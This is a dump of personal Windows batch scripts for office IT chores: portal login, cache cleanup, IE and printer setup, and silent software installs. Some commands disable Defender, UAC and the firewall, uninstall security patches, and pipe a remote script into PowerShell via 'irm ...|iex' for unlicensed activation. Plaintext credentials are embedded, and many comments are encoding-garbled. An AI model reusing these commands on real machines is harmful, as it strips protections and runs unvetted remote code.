"opr=pwdLogin&userName=panxing&pwd=20200818&rememberPwd=0" http://10.100.0.1/ac_portal/login.php @REM [脚本之家-批处理bat系统管理之任务计划篇](https://www.jb51.net/article/266021.htm) @REM [IT天空-schtasks命令中时间设置的问题 ](https://www.itsk.com/thread-419628-1-1.html) @REM [cnblogs-转:[windows]DOS批处理添加任务计划](https://www.cnblogs.com/shy1766IT/p/6391967.html) @REM 转义,加倍双引号,powershell可行,批处理不可行。 @REM 批出处理换行 ^;powershell换行 `n;这里以批处理为准 @REM 查询与删除 @REM schtasks /query /tn "内网认证请求" @REM schtasks /delete /tn "自启内网上网请求" /f @REM schtasks /run /tn "自启内网上网请求" @REM /sc weekly /d MON,TUE,WED,THU,FRI 周一至周五 @REM Windows计划任务(手动执行脚本正常,定时执行不生效)注意默认是“只有在计算机使用交流电源时才启动此任务” @REM 远程指令调用测试 curl -d "opr=pwdLogin&userName=huchenglong&pwd=20200819&rememberPwd=0" http://10.10.10.1/ac_portal/login.php echo curl -d "opr=pwdLogin&userName=huchenglong&pwd=20200819&rememberPwd=0" http://10.10.10.1/ac_portal/login.php > C:\auto_request.bat schtasks /create /tn "自启内网上网请求" /tr C:\auto_request.bat /sc weekly /d MON,TUE,WED,THU,FRI /st 13:49:00 /ru System ================================================ FILE: d-bat/choice_wdrt.bat ================================================ @echo off :: https://bbs.huaweicloud.com/blogs/396537 :: "C:\Program Files (x86)\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe" -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 0 /t REG_DWORD /f"" :: ԶԱȨ´ %1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit & cd /d "%~dp0" :: color 9 cls echo ѡ echo/ echo [1] ʵʱ echo [2] ʵʱ echo/ choice /c 12 /n /m "ѡ12" echo/ if errorlevel 2 ( REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f 2>nul 1>nul echo ʵʱOK echo/ ) else ( REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 1>nul echo ʵʱOK echo Windows defenderرա۸ķɹرԹرʵʱ echo ҲҪʱֶ۸ķԳڴʵʱܡ echo/ ) pause ================================================ FILE: d-bat/clean_icon_cache.bat ================================================ @REM رWindowsdzexplorer @REM ǿƽexplorer.exẹرԴ taskkill /f /im explorer.exe @REM ϵͳͼ껺ݿ @REM ͨ޸ͼ껺ݿļԣȷɾ attrib -h -s -r "%userprofile%\AppData\Local\IconCache.db" @REM ɾͼ껺ݿ⣬ǿɾͼ껺 del /f "%userprofile%\AppData\Local\IconCache.db" @REM Windows Explorerеͼ껺ļ @REM ͨݹ޸WindowsԴĻļԣʹԱɾ @REM /s: ԵǰĿ¼ԼĿ¼еļִԲ @REM /d: ݹضĿ¼Ӧò @REM -h: ȡԣʹļļбΪɼ @REM -s: ȡϵͳԣʹļļвٱΪϵͳļ @REM -r: ȡֻԣʹļļпԱд롣 attrib /s /d -h -s -r "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\*" @REM ɾͬߴͼļ32x32, 96x96, 102x102ȣ del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_102.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1024.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db" @REM ϵͳ̼ͼ @REM ͨɾעеIconStreamsPastIconsStreamͼĻ echo y|reg delete "HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v IconStreams echo y|reg delete "HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v PastIconsStream @REM Windowsdzexplorer @REM explorer.exeָԴ start explorer ================================================ FILE: d-bat/clear_nullify_startup_reg.bat ================================================ @echo off set "regPath=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" @REM ·ӵעе LastKey ֵ @REM LastKey еһֵڴ洢ϴע༭зʵע· reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit" /v LastKey /t REG_SZ /d "%regPath%" /f REM ʾûǷע archon1 Ľ飩 choice /c YN /m "Ƿע߼λ" if errorlevel 2 ( echo ûѡ񲻴ע༭ ) else ( start regedit ) :loop @REM echo Ҫɾעֵƣ 'exit' ˳: set /p reg_value= Ҫɾעֵƣ 'exit' ˳: if not "%reg_value%"=="" ( if "%reg_value%"=="exit" ( goto :end ) else ( reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "%reg_value%" /f ) ) else ( echo δκֵơ ) goto :loop :end echo ű˳ @REM ű @REM ׷ @REM https://answers.microsoft.com/zh-hans/windows/forum/all/%E4%BD%A0%E5%A5%BD-%E8%AF%B7%E9%97%AE/c65a02d7-3e09-4c53-9761-b59ecbea3513 @REM ολעҳ @REM https://blog.csdn.net/admans/article/details/122682970 @REM https://blog.csdn.net/lanlangaogao/article/details/122535848 ================================================ FILE: d-bat/demo.bat ================================================ ::------ 须重启及细节方面的相关设置 ------- @REM https://admx.help @REM learn Microsoft @REM 特权提升 (小细节) %1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit cd /d "%~dp0" @REM 默认以管理员权限运行 RegistryFinder.exe reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Program Files\Registry Finder\RegistryFinder.exe" /t REG_SZ /d "RUNASADMIN" /f @REM 关闭UAC,重启生效;而且会带来以管理员运行此任务,打开终端直接就是管理员状态 @REM https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/settings-and-configuration?tabs=reg reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f @REM 激活powershell powershell -command "Set-ExecutionPolicy RemoteSigned" @REM 关闭防火墙 netsh advfirewall set allprofiles state off @REM U盘修复 @REM chkdsk G:/f @REM 永久添加静态路由 route add 192.168.0.0 mask 255.255.255.0 192.168.3.11 -p @REM 删除路由 route delete 192.168.0.0 @REM 设置域名计算机名需要netdom工具,专业版默认是没有的,故不设。 @REM win+r 输入 sysdm.cpl 手动填写计算机名吧。 ::--------- 涉及重启的相关设置 ---------- @REM ::-------- 修改IP和DNS --------------- @REM 自动获取 @REM netsh interface ip set address "以太网" source=dhcp @REM 静态IP设置 netsh interface ip set address "以太网" static 192.168.1.1 255.255.255.0 192.168.1.11 @REM 批处理设置DNS,win7是本地连接 netsh interface ip set dns "以太网" static 208.67.222.222 primary netsh interface ip add dns "以太网" 1.1.1.1 ::-------- 修改IP和DNS --------------- @REM ::------- 建立smb共享盘映射 --------- @REM 安装smb1 (需重启) Powershell Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -A -N @REM 建立smb共享盘映射 win7格式 @REM /persistent:yes 它告诉系统将指定的设置或配置持久保存到系统中。 @REM 替换成你的共享盘IP与目录,以及用户名与密码; 123456是密码,test是用户名 @REM net use * \\192.168.0.33\漏洞补丁 123456 /user:test /persistent:yes @REM win10及以上格式 net use * \\192.168.0.33\漏洞补丁 /user:test 123456 /persistent:yes ::------- 建立smb共享盘映射 --------- @REM ::------- 简单配置IE --------------- @REM 将所有网站都加入兼容性视图 reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation" /v "AllSitesCompatibilityMode" /t REG_DWORD /d 1 /f @REM -- 主页设置与防劫持 @REM 设置主页 reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_SZ /d www.baidu.com /f @REM 死锁主页 reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /d 1 /f >nul @REM 防止 edge 劫持 IE,关闭第三方扩展 reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Enable Browser Extensions" /t REG_SZ /d "NO" /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "UpsellDisabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "RedirectionMode" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "QuietExpirationTime" /t REG_QWORD /d 0 /f @REM -- 设置IE受信任的站点和内网站点安全级别 @REM 直接将可信任站点的安全级别调至最低 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "CurrentLevel" /t REG_DWORD /d 0x10000 /f @REM 直接将Intranet 内部网的安全级别调至最低 @REM 0 本地计算机区域;1 Intranet 内部网; 2 受信任的站点区域;3 Internet 外网域;4 受限制的站点区域。 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "CurrentLevel" /t REG_DWORD /d 0x10000 /f @REM 内部网禁用保护模式 reg add "HKCU\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" /v "2500" /t REG_DWORD /d 0x00003 /f @REM 受信任的站点区域禁用保护模式 reg add "HKCU\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2500" /t REG_DWORD /d 0x00003 /f @REM -- 加入可信任站点 @REM 这里会存在信任站点GUI界面删除不了IP站点的bug,所以最好设置为与IE浏览器相关的业务。 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\192.168.0.1" /v http /t REG_DWORD /d 0x00000002 /f @REM 有域名的网站倒是可以正常删除,IP的就只能用注册表删除了。 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\baidu.com\www" /v http /t REG_DWORD /d 0x00000002 /f @REM -- IE仿真模式或者说是此API,官方打算弃用不支持了。 @REM https://learn.microsoft.com/zh-cn/troubleshoot/developer/browsers/development-website/ie-document-modes-faq @REM https://learn.microsoft.com/zh-cn/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85) @REM https://learn.microsoft.com/zh-cn/internet-explorer/ie11-deploy-guide/deprecated-document-modes ::------- 简单配置IE ------------ @REM ::---------- 桌面图标 ----------------- @REM 参考:[百度知道-如何用一个批处理显示桌面上的图标](https://zhidao.baidu.com/question/87216101.html) @REM 工具:https://registry-finder.com @REM 显示桌面和控制面板图标 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{21EC2020-3AEA-1069-A2DD-08002B30309D}" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" /t REG_DWORD /d 0 /f @REM 显示用户文件 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{59031a47-3f72-44a7-89c5-5595fe6b30ee}" /t REG_DWORD /d 0 /f @REM 显示文件扩展名,1为隐藏 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 0 /f ::---------- 桌面图标 --------------- @REM ::--------- win10、win11激活 -------- powershell -command "irm https://massgrave.dev/get|iex" ::--------- win10、win11激活 -------- @REM ::--------- 自动化安装软件 ----------- @REM 部分软件可实现自动化安装,并非所有 set bat_install_path=C:%HOMEPATH%\Downloads for %%f in (%bat_install_path%\*.exe) do ( echo Installing %%~nxf... %%f /S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES /FORCE ) @REM 市面上软件众多,每家的软件打包各不相同 @REM 使用批处理自动安装,运行起来实际上不稳定,建议去学习 AutoIt 脚本语言 @REM [百度百科 - AutoIt](https://baike.baidu.com/item/autoit/4327423?fr=aladdin) @REM 它利用模拟键盘按键,鼠标移动和窗口/控件的组合来实现自动化任务 @REM 上面这句话摘自[简书-AutoIt3基础教程及实战案例](https://www.jianshu.com/p/c7bd769f5a56) ::--------- 运行自动安装软件 ----------- @REM ::-------- 装机有人忘记IP,从PE里看的方式 --------- @REM 在PE环境里对注册表的查询操作存在路径不全的识别问题 REG LOAD HKLM\TempLookIp C:\Windows\System32\config\SYSTEM @REM 打开注册表,粘贴 @REM HKLM\TempLookIp\ControlSet001\services\Tcpip\Parameters\interfaces ::-------- 装机有人忘记IP,从PE里看的方式 --------- @REM ::-- 最后关于powershell的运行策略 ---------------- @REM 大可不必因开启powershell而关闭此项功能,日后也用得着的。 @REM "RemoteSigned" 只允许在本地或远程下载且经过数字签名的脚本文件。 @REM 如果您完全信任则可以选择 "Unrestricted" 安全策略。 @REM https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3&viewFallbackFrom=powershell-7.1 ::-- 最后关于powershell的运行策略 ---------------- @echo off set printerIP=192.168.0.252 echo 检查网络打印机 %printerIP% 是否在线... ping -n 1 %printerIP% > nul if %errorlevel% neq 0 ( echo 不在线 %printerIP% 稍后试 pause exit ) rem 连接网络打印机 通用 @REM rundll32 printui.dll,PrintUIEntry /if /b "" /r "IP_%printerIP%" /m "Generic / Text Only" @REM 已安装惠普打印机驱动,特例测试 @REM rundll32 printui.dll,PrintUIEntry /if /b "" /r "IP_%printerIP%" /m "HP Universal Printing PCL 6" :: ---------------- 静默安装打印机驱动 ------------------------- 详情见:https://github.com/hoochanlon/ihs-simple/blob/main/d-ipynb/打印机自动化安装研究.ipynb rem 连接网络打印机 通用 @REM rundll32 printui.dll,PrintUIEntry /if /b "" /r "IP_%printerIP%" /m "Generic / Text Only" @REM 已安装惠普打印机驱动,特例测试 @REM rundll32 printui.dll,PrintUIEntry /if /b "" /r "IP_%printerIP%" /m "HP Universal Printing PCL 6" echo 正在与 %printerHost% 共享打印主机建立连接 @REM 用户名abc 密码123456 /persistent:yes 永久保存 net use \\%printerHost% /user:abc 123456 /persistent:yes echo\ echo 正在连接打印机,并安装驱动 @REM /in 参数表示安装打印机驱动程序,/n 参数指定打印机名称, @REM /z 参数表示将打印机设置为默认打印机,/q 参数表示安静模式执行 rundll32 printui.dll,PrintUIEntry /y /in /n "\\%printerHost%\HP LaserJet MFP M232-M237 PCLmS" /q @REM color 0a @REM timeout /t 30 @REM color echo\ pause ================================================ FILE: d-bat/deny_chrome_update.bat ================================================ @echo off @%1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit @cd /d "%~dp0" @echo off @setlocal enabledelayedexpansion :: chrome updateļǷڣ򴴽 IF NOT EXIST "%userprofile%\AppData\Local\Google\Update" ( mkdir "%userprofile%\AppData\Local\Google\Update" ) @REM ļEveryoneȫȨ @REM icacls "C:\Windows\System32\usosvc.dll" /grant "Everyone":F :: ļоָܾûķȨ ::(OI)(CI) ʾҪӦõӶȨޣ (RX) ʾܾȡִȨޡ icacls "%userprofile%\AppData\Local\Google\Update" /deny "Everyone":(OI)(CI)RX :: Ƿɹ if %errorlevel% neq 0 ( echo ļȨʧܡ ) else ( echo ļȨ޳ɹ ) pause ================================================ FILE: d-bat/fix_0x11b_share_print.bat ================================================ @%1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit @cd /d "%~dp0" @echo off @REM https://www.technipages.com/how-to-fix-windows-printer-error-0x0000011b/ @REM https://www.partitionwizard.com/partitionmagic/error-0x0000011b.html @reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print" /v "RpcAuthnLevelPrivacyEnabled" /t REG_DWORD /d 0 /f @wusa /uninstall /kb:5005565 /quiet @wusa /uninstall /kb:5005566 /quiet @wusa /uninstall /kb:5005568 /quiet @wusa /uninstall /kb:5022497 /quiet @wusa /uninstall /kb:5012170 /quiet @wusa /uninstall /kb:5023706 /quiet @wusa /uninstall /kb:5007186 /quiet @net stop spooler @del /f /s /q C:\Windows\System32\spool\PRINTERS\* @net start spooler @pause ================================================ FILE: d-bat/fuck_dingding.bat ================================================ @REM 网页资源链接来自腾讯下载中心 (百度,钉钉,腾讯下载中心,普通下载) @echo off @REM 特权提升会带来powershell的抛异常,故注释 @REM @%1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit @REM @cd /d "%~dp0" @echo/ echo "正在执行自动化钉钉安装操作,请勿关闭cmd窗口,否则会导致安装失败! " @echo/ @echo/ @echo "正在下载钉钉,请稍候... " powershell -c wget -uri "https://webcdn.m.qq.com/spcmgr/download/7.0.30-Release.5259107.exe" -OutFile "C:/Users/${env:UserName}/Downloads/7.0.30-Release.5259107.exe" -ErrorAction SilentlyContinue echo/ @echo "正在安装钉钉,请耐心等待片刻" @start /wait C:\Users\%username%\Downloads\7.0.30-Release.5259107.exe /S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES /FORCE 2>nul @echo "钉钉,已完成安装,可以关闭窗口" pause ================================================ FILE: d-bat/fxxk_chxxa.bat ================================================ @echo "将当前环境统一换成 C:\Windows\System32" @pushd C:\Windows\System32 @echo 正在下载 chromium87,请稍候.... @set chromium87_url="https://bluepload.unstable.life/selif/chromev870428088.exe" @set chromium87="Chrome_V87.0.4280.88.exe" @powershell -c "(New-Object System.Net.WebClient).DownloadFile('%chromium87_url%', '%userprofile%/Downloads/%chromium87%')" @echo 正在下载flash,请稍候.... @set cleanflash_url="https://bluepload.unstable.life/selif/cleanflash3400282installer1.exe" @set cleanflash="cleanflash3400282installer1.exe" @powershell -c "(New-Object System.Net.WebClient).DownloadFile('%cleanflash_url%', '%userprofile%/Downloads/%cleanflash%')" @echo echo flash并不完全支持静默安装,将采取半自动安装模式 %userprofile%\Downloads\Chrome_V87.0.4280.88.exe start /wait %userprofile%\Downloads\cleanflash3400282installer1.exe /S ================================================ FILE: d-bat/icon_bar_reset.bat ================================================ rem رWindowsdzexplorer taskkill /f /im explorer.exe rem ϵͳͼ껺ݿ attrib -h -s -r "%userprofile%\AppData\Local\IconCache.db" del /f "%userprofile%\AppData\Local\IconCache.db" attrib /s /d -h -s -r "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\*" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db" del /f "%userprofile%\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db" rem ϵͳ̼ͼ echo y|reg delete "HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v IconStreams echo y|reg delete "HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v PastIconsStream rem Windows dz explorer start explorer @REM ο @REM https://bbs.pcbeta.com/viewthread-1971698-1-1.html @REM https://www.cnblogs.com/it89/p/12008743.html @REM https://blog.csdn.net/luoyayun361/article/details/79228390 thumbcache @REM https://www.sysgeek.cn/rebuild-icon-thumbnail-cache-windows-10/ iconcache ================================================ FILE: d-bat/ie_web_setting_demo.bat ================================================ @SETLOCAL ENABLEDELAYEDEXPANSION @ECHO OFF @CLS @ECHO ON @ECHO ʼIEл....... @ECHO.&&ECHO. @echo IE8汾ϼͼʾվ @REM վӦhexֵ https://github.com/hoochanlon/scripts/blob/main/d-pwsh/clac_ie_clearablelistdata_hex.ps1 ʹãBվhexֵ @reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData" /v UserFilter /t REG_BINARY /f /d 411F00005308ADBA01000000FFFFFFFF01000000010000000C00000000000000000000010100000010007700770077002E00620069006C006900620069006C0069002E0063006F006D00 @ECHO б...... @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\baidu.com\www" /v http /t REG_DWORD /d 0x00000002 /f @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\10.10.10.1" /v http /t REG_DWORD /d 0x00000002 /f @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\192.168.1.1" /v http /t REG_DWORD /d 0x00000002 /f @reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\192.168.1.2" /v http /t REG_DWORD /d 0x00000002 /f @ECHO.&&ECHO ڽվActiveXȨ...... @SET RegPath=HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 @SET RegPath1=HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 @SET RegPath2=HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 @REG ADD "%RegPath%" /V DisplayName /T REG_SZ /D " Intranet" /F @REG ADD "%RegPath%" /V Description /T REG_SZ /D "а˾ Intranet ϵվ" /F @echo Intranet @REG ADD "%RegPath%" /V CurrentLevel /T REG_DWORD /D 0X0 /F @REG add "%regpath%" /v "1001" /t reg_dword /d 0x00000001 /f @REG add "%regpath%" /v "1004" /t reg_dword /d 0x00000001 /f @reg add "%regpath%" /v "1200" /d "0" /t REG_DWORD /f @REG add "%regpath%" /v "120B" /t reg_dword /d 0x00000003 /f @REG add "%regpath%" /v "1201" /t reg_dword /d 0x00000001 /f @reg add "%regpath%" /v "1208" /d "0" /t REG_DWORD /f @reg add "%regpath%" /v "1209" /d "0" /t REG_DWORD /f @reg add "%regpath%" /v "1400" /d "0" /t REG_DWORD /f @reg add "%regpath%" /v "1402" /d "0" /t REG_DWORD /f @reg add "%regpath%" /v "1407" /d "0" /t REG_DWORD /f @reg add "%regpath%" /v "1405" /d "0" /t REG_DWORD /f @reg add "%regpath%" /v "1609" /d "0" /t REG_DWORD /f @REG add "%regpath%" /v "1804" /t reg_dword /d 0x00000001 /f @REG add "%regpath%" /v "1809" /t reg_dword /d 0x00000000 /f @reg add "%regpath%" /v "2300" /d "0" /t REG_DWORD /f @reg add "%regpath%" /V "2201" /d "0" /t REG_DWORD /f @echo εվ @REG ADD "%RegPath1%" /V CurrentLevel /T REG_DWORD /D 0X0 /F @REG add "%regpath1%" /v "1001" /t reg_dword /d 0x00000001 /f @REG add "%regpath1%" /v "1004" /t reg_dword /d 0x00000001 /f @reg add "%regpath1%" /v "1200" /d "0" /t REG_DWORD /f @REG add "%regpath1%" /v "120B" /t reg_dword /d 0x00000003 /f @REG add "%regpath1%" /v "1201" /t reg_dword /d 0x00000001 /f @reg add "%regpath1%" /v "1208" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /v "1209" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /v "1400" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /v "1402" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /v "1405" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /v "1407" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /v "1609" /d "0" /t REG_DWORD /f @REG add "%regpath1%" /v "1804" /t reg_dword /d 0x00000001 /f @REG add "%regpath1%" /v "1809" /t reg_dword /d 0x00000000 /f @reg add "%regpath1%" /v "2300" /d "0" /t REG_DWORD /f @reg add "%regpath1%" /V "2201" /d "0" /t REG_DWORD /f @echo Internet @REG ADD "%RegPath2%" /V CurrentLevel /T REG_DWORD /D 0X0 /F @REG add "%regpath2%" /v "1001" /t reg_dword /d 0x00000001 /f @REG add "%regpath2%" /v "1004" /t reg_dword /d 0x00000001 /f @reg add "%regpath2%" /v "1200" /d "0" /t REG_DWORD /f @REG add "%regpath2%" /v "1201" /t reg_dword /d 0x00000001 /f @reg add "%regpath2%" /v "1208" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /v "1209" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /v "1400" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /v "1402" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /v "1405" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /v "1407" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /v "1609" /d "0" /t REG_DWORD /f @REG add "%regpath2%" /v "1804" /t reg_dword /d 0x00000001 /f @REG add "%regpath2%" /v "1809" /t reg_dword /d 0x00000000 /f @reg add "%regpath2%" /v "2300" /d "0" /t REG_DWORD /f @reg add "%regpath2%" /V "2201" /d "0" /t REG_DWORD /f @REG ADD "%RegPath%" /V Description /T REG_SZ /D "аδеվ" /F @REG ADD "%RegPath%4" /V DisplayName /T REG_SZ /D "վ" /F @REG ADD "%RegPath%4" /V Description /T REG_SZ /D "аܻļݵվ"" /F @ECHO ActiveXȨ @echo. && @echo ȥIE... @reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\New Windows" /v "PopupMgr" /d "0" /t REG_DWORD /f @ECHO.&&ECHO IEԵ...... ::TASKKILL /IM iexplore.exe /T /F @TASKKILL /IM iexplore.exe /F @PING 127.0.0.1 -4 -n 5 >nul @ECHO.&&ECHO.&&@ECHO IEʹûɡ @PING 127.0.0.1 -4 -n 5 >nul EXIT ================================================ FILE: d-bat/install_jdk.bat ================================================ echo "javaԶװ" @echo off :: IF NOT EXIST C:\Users\%USERNAME%\Downloads\java.msi (curl -o C:\Users\%USERNAME%\Downloads\java.msi https://download.oracle.com/java/20/latest/jdk-20_windows-x64_bin.msi) curl -o C:\Users\%USERNAME%\Downloads\java.msi https://download.oracle.com/java/20/latest/jdk-20_windows-x64_bin.msi @REM һ룬Ĭװjava.msi/S /SP- /VERYSILENT /NORESTART /SUPPRESSMSGBOXES /FORCE TIMEOUT /T 1&&start /wait C:\Users\%USERNAME%\Downloads\java.msi /quiet /passive @REM ::----- java ------------------- @REM û @REM JAVAHOME jdk-20 ȡֵ :: https://download.oracle.com/java/20/latest/jdk-20_windows-x64_bin.msi setx JAVA_HOME "C:\Program Files\Java\jdk-20;" @REM PATH setx PATH "%%JAVA_HOME%%\bin;" echo "javaóɹ" pause del %0 @REM :------ ע --------------------------- @REM %%asd%% ֹת @REM CLASSPATH ο :: https://blog.csdn.net/weixin_44144786/article/details/119350075 :: setx CLASSPATH ".;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;" @REM java ֹòο :: 